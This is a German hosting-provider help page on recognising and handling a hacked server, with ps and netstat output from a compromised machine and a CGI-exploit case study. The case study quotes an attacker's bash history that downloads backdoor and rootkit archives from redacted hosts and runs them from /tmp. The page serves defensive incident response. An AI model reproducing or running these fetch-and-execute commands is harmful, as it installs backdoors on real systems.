Es passiert nicht nur den Anderen...
Ein kurzer Blick auf den MRTG genügt:
Und auf der selben Maschine finden wir:
root 3632 0.0 1.0 2368 1320 pts/0 S 10:51 0:00 -bash
root 6310 0.0 0.1 476 248 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
[...]
root 6360 0.0 0.1 476 244 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
root 6310 0.0 0.1 476 248 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
[...]
root 6360 0.0 0.1 476 244 pts/0 S 11:27 0:00 ./ipv6fuck 213.186.34.196 192.88.99.1 2002:d5ba:22c4:: 2001:6b8:0:400
Offensichtlich konnte der Hacker Programme ale root ausführen. Die Maschine wurde also gehackt und muss neu installiert werden.
# netstat -tanpu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:9875 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:1052 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:6770 0.0.0.0:* 28823/xc
# ps auxw | grep 28823
root 7117 0.0 0.5 1796 748 pts/1 S 11:38 0:00 grep 28823
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
udp 0 0 0.0.0.0:9875 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:1052 0.0.0.0:* 28823/xc
udp 0 0 0.0.0.0:6770 0.0.0.0:* 28823/xc
# ps auxw | grep 28823
root 7117 0.0 0.5 1796 748 pts/1 S 11:38 0:00 grep 28823
Es existieren gestartete Programme die eine pid haben, aber nicht von ps angezeigt werden; der Grund ist wahrscheinlich eine gehackte Version von ps, die die Anzeige aller Hackprogramme ausfiltert, und die der Hacker installiert hat um den Benutzer zu täuschen.
# halt
Broadcast message from root (pts/1) Thu Nov 20 11:39:22 2003...
The system is going down for system halt NOW !!
Broadcast message from root (pts/1) Thu Nov 20 11:39:22 2003...
The system is going down for system halt NOW !!
Wir halten die machine sofort an.
Man kann Glück haben und die Maschine ist nicht vollständig gehackt: MaschineGehackt2
Ein anderes Beispiel: MachineHackeeExemple
Der Ursprung der Probleme ist vielfältig, man kann es aber vereinfachend auch so formulieren:
Sie sind nicht paranoid genug.
Sie verwenden telnet. Ihr Login und Passwort werden unverschlüsselt im Internet übertragen und können jederzeit gesnifft werden. Sie sollten SSH verwenden. Hier eine kleine Hilfe zu diesem Thema: Wie kann ich mich per SSH mit meinem Server verbinden?
Sie verwenden FTP. Ihr Login und Passwort werden unverschlüsselt im Internet übertragen und das Passwort ist das gleiche wie bei root. SFTP ist die Lösung für dieses Problem.
Sie verwenden POP3/IMAP mit einem Passwort (das im Klartext übertragen wird...) das das gleiche ist wie bei root. Verwenden Sie besser APOP oder POP3S/IMAPS. Hier eine kleine Hilfe zu diesem Thema: Eine Definition der E-Mail-Protokolle
Wenn Sie Ihre Maschine nicht mit den Releases (Alles zu den Releases von OVH) auf dem neuesten Stand halten, dann riskieren Sie gehackt zu werden (ungefähr 300 Scans mit dem Ziel Sicherheitslücken zu finden werden pro Tag in unserem Netz durchgeführt).
Wenn die Maschine einmal gehackt worden ist, dann gibt es eigentlich nur noch eine wirksame Lösung: eine Neuinstallation.
1. Sicherheitslücke in einem CGI-Skript:
Die Symptome:
Eine Datei g00dies.tgz wurde zusammen mit anderen Dateien (x, k, usw...) in den Ordner /tmp geuploadet. Das Programm x ist eine Backdoor: wenn es läuft ermöglicht es den Zugang zur Maschine.
Wir haben die bash.history des Benutzers nobody in /tmp mit folgendem Inhalt gefunden:
cd /tmp
wget www.#######.com/x
chmod +x x
./s
./x
./x
./x
./x./x
./x
./x
./x
./x
wget www.#######.com/k
chmod +x k
./k -d;
/tmp/x
./x
./x
./x
./x
./x
./x
./
cd /tmp
mkdir .,
cd .,
wget ######.go.ro/vampix
tar zxvf vampix
cd esc
./mingetty
./mingetty
./mingetty
cd /tmp
wget ######.go.ro/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
cd /tmp
wget ######.go.ro/smth
chmod +x smth
./smth
cd /tmp
wget ######.go.ro/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
/tmp/smth
/tmp/stealth
wget www.#######.com/x
chmod +x x
./s
./x
./x
./x
./x./x
./x
./x
./x
./x
wget www.#######.com/k
chmod +x k
./k -d;
/tmp/x
./x
./x
./x
./x
./x
./x
./
cd /tmp
mkdir .,
cd .,
wget ######.go.ro/vampix
tar zxvf vampix
cd esc
./mingetty
./mingetty
./mingetty
cd /tmp
wget ######.go.ro/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
cd /tmp
wget ######.go.ro/smth
chmod +x smth
./smth
cd /tmp
wget ######.go.ro/g00dies.tgz
tar zxvf g00dies.tgz
cd goodies
mv stealth /tmp
/tmp/smth
/tmp/stealth
Zusammenfassung:
Man sieht daß Befehle als nobody ausgeführt wurden; dieser User wird haupsächlich von Apache verwendet. Es scheint so als hätte der Hacker eine Sicherheitslücke in einem CGI-Skript ausgenutzt.
Lösung:
- Alle laufenden suspekten Prozesse killen.
Der Hacker hat sich anscheinend keine root-Rechte verschafft (er hätte in der Tat eine Sicherheitslücke in einem Kernel <2.4.24 dazu ausnutzen können); wir führen trotzdem noch einige Sicherheitsmassnahmen durch:
- Ändern aller Passwörter: root, user, mysql, mail, usw... (man sieht dass der Hacker mingetty gestartet hat)
- Eine gründliche Überprüfung der seit dem Hack geänderten Dateien: find /rep -cmin -60 (überprüft die innerhalb der letzten Stunde geänderten Dateien)
- Durchsuchen Sie danach die Logs von Apache um den Zeitraum des Hacks herum, um das fehlerhafte Skript das den Hack ermöglichte zu identifizieren.